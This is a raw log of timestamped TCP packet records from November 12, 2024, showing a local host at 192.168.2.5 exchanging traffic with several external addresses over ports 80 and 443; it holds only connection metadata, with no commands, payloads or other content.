Nov 12, 2024 06:23:25.937485933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:25.938580036 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:25.938674927 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:25.943483114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:25.943492889 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:25.943576097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:25.943588018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:26.043334961 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.049721956 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.049745083 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.050379038 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.050384998 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.069817066 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.077016115 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.077049017 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.077795029 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.077800989 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.083131075 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.084543943 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.084568977 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.084964037 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.084969044 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.110975027 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.115758896 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.117552042 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.117573977 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.118175030 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.118180037 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.119066000 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.119086981 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.119445086 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.119452000 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.175457001 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.175523043 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.175637007 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.179604053 CET	49770	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.179620981 CET	443	49770	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.201899052 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.201934099 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.202167034 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.202661991 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.202733040 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.202790976 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.215296030 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.215310097 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.215558052 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.215570927 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.215612888 CET	49771	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.215619087 CET	443	49771	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.215647936 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.215888023 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.215943098 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.216725111 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.216739893 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.216751099 CET	49774	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.216757059 CET	443	49774	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.227474928 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.227504015 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.227560997 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.227901936 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.227914095 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.229273081 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.229284048 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.229387045 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.230910063 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.230921984 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.247896910 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.247956991 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.248111963 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.248155117 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.248162031 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.248203039 CET	49772	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.248207092 CET	443	49772	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.250447989 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.250458002 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.250513077 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.251357079 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.251408100 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.251501083 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.251631975 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.251641989 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.251808882 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.251816988 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.251827955 CET	49773	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.251832962 CET	443	49773	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.257064104 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.257098913 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.257153988 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.257277012 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:26.257289886 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.634140968 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:26.634176016 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:26.634241104 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:26.634485006 CET	49795	443	192.168.2.5	18.244.18.27
Nov 12, 2024 06:23:26.634496927 CET	443	49795	18.244.18.27	192.168.2.5
Nov 12, 2024 06:23:26.660381079 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:26.660393953 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:26.660474062 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:26.660700083 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:26.660705090 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:26.876189947 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:26.876291037 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:26.948019981 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.959553003 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.972485065 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.977942944 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:26.988286018 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.060794115 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.060794115 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.060833931 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.179347992 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.179903030 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.199342012 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.199423075 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.201050997 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.201061010 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.201914072 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.201917887 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.202433109 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.202461958 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.202960968 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.202966928 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.204751015 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.204767942 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.205302000 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.205307007 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.205698013 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.205710888 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.206271887 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.206279993 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.206653118 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.206656933 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.207156897 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.207159996 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.227116108 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.227144003 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.227420092 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.228549957 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.228585958 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.228611946 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.327862978 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.328048944 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.328105927 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.328308105 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.328334093 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.328350067 CET	49784	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.328356981 CET	443	49784	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.332246065 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.332300901 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.332366943 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.333444118 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.333604097 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.333725929 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.333802938 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.333802938 CET	49782	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.333817005 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.333826065 CET	443	49782	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.335366964 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.335366964 CET	49780	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.335374117 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.335387945 CET	443	49780	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.335694075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:27.335745096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:27.336097002 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.336221933 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.336250067 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.336298943 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.337490082 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.337546110 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.339138031 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.339147091 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.339173079 CET	49783	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.339176893 CET	443	49783	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.340584040 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.340620995 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.341559887 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.341706038 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.341710091 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.341739893 CET	49781	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.341743946 CET	443	49781	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.342063904 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.342080116 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.343837976 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.343871117 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.343931913 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.344919920 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.344930887 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.344948053 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.344959974 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.344988108 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.345107079 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.345122099 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.349847078 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.349857092 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.350079060 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.350369930 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.350379944 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.351931095 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.351958036 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.352061033 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.362309933 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:27.362330914 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:27.481823921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:27.486763954 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:27.515796900 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.516100883 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.516119003 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.516472101 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.516484976 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.516532898 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.516540051 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.516578913 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.517221928 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.525640011 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.525715113 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.525904894 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.525912046 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.549493074 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.604688883 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.604691982 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.604717970 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.613157988 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.613282919 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.613392115 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.613431931 CET	443	49776	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.613517046 CET	49776	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.635682106 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.635720015 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.635812998 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.636127949 CET	49806	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.636142969 CET	443	49806	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.699825048 CET	49807	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.699853897 CET	443	49807	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.699939013 CET	49807	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.708411932 CET	49807	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:27.708422899 CET	443	49807	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:27.769423962 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.769459963 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.769551992 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.769566059 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.773515940 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.773571014 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.773575068 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.782720089 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.782769918 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.782774925 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.791172028 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.791244030 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.791249037 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.887064934 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.887098074 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.887151957 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.887166023 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.887204885 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.888622046 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.891027927 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.891093016 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.891097069 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.900203943 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.900263071 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.900268078 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.908837080 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:27.908899069 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:27.908904076 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.004714966 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.004776001 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.004782915 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.006509066 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.006551981 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.006556034 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.014178991 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.014202118 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.014250040 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.014254093 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.014286041 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.017862082 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.026850939 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.026896000 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.026904106 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.026911974 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.026954889 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.078438997 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.082505941 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.082540989 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.088272095 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.091852903 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.091888905 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.092730045 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.092736959 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.093579054 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.093595028 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.094434977 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.094439983 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.096610069 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.096622944 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.097398043 CET	49803	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.097400904 CET	443	49803	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.108556986 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.109118938 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.109137058 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.109766960 CET	49800	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.109771967 CET	443	49800	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.122191906 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.122247934 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.122253895 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.124048948 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.124100924 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.124105930 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.131654024 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.131747007 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.131752968 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.135895967 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.136461020 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.136482954 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.136928082 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.136945963 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.136951923 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.137068033 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.137073040 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.144455910 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.144501925 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.144506931 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.196770906 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.196856976 CET	49797	443	192.168.2.5	142.250.186.65
Nov 12, 2024 06:23:28.196871042 CET	443	49797	142.250.186.65	192.168.2.5
Nov 12, 2024 06:23:28.219583035 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.219650030 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.219712019 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.220081091 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.220097065 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.220108986 CET	49802	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.220114946 CET	443	49802	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.221780062 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.223330975 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.223367929 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.223448038 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.223637104 CET	49810	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:28.223645926 CET	443	49810	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.224489927 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:28.224545956 CET	49801	443	192.168.2.5	13.107.246.45
